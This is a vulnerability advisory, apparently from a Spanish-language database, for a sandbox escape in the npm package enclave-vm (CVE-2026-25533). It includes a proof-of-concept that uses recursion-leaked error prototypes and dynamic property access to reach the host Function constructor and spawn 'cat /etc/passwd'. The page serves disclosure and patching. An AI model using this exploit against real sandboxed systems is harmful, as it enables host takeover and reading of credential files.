Sandbox escape via infinite recursion and error objects
Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm).
All fixed versions and guidance refer to @enclave-vm/core.
Summary
The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.
Details
There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.
PoC
The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.
import { Enclave } from 'enclave-vm';
// Create enclave with a tool handler
const enclave = new Enclave({
timeout: 5000,
maxToolCalls: 10,
maxIterations: 1000,
toolHandler: async (toolName, args) => {
// Your tool execution logic
return { success: true, data: `Called ${toolName}` };
},
});
// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =>{
try {
a();
} catch (e) {
rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]];
res=e.stack
}
}
a();
rootProt[["foo"]] = rootProt[["toString"]][["constructor"]]
rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")();
`);
Impact
Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | enclave-vm | <= 2.7.0 | sin corrección |
| Paquete de npm | @enclave-vm/core | < 2.10.1 | 2.10.1 |
Referencias
- https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p
- https://nvd.nist.gov/vuln/detail/CVE-2026-25533
- https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca
- https://github.com/agentfront/enclave
- https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf
- Vector CVSS
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H- Debilidad (CWE)
CWE-835- Plataforma
- npm
- Paquete
enclave-vm, @enclave-vm/core- Publicada
- 05.02.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-x39w-8vm5-5m3p - CC BY 4.0
Historial de vulnerabilidades: enclave-vm
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 01.2026 02.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Media 1
Divulgaciones por año
- 2026: 2
-
Sandbox escape via infinite recursion and error objects esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.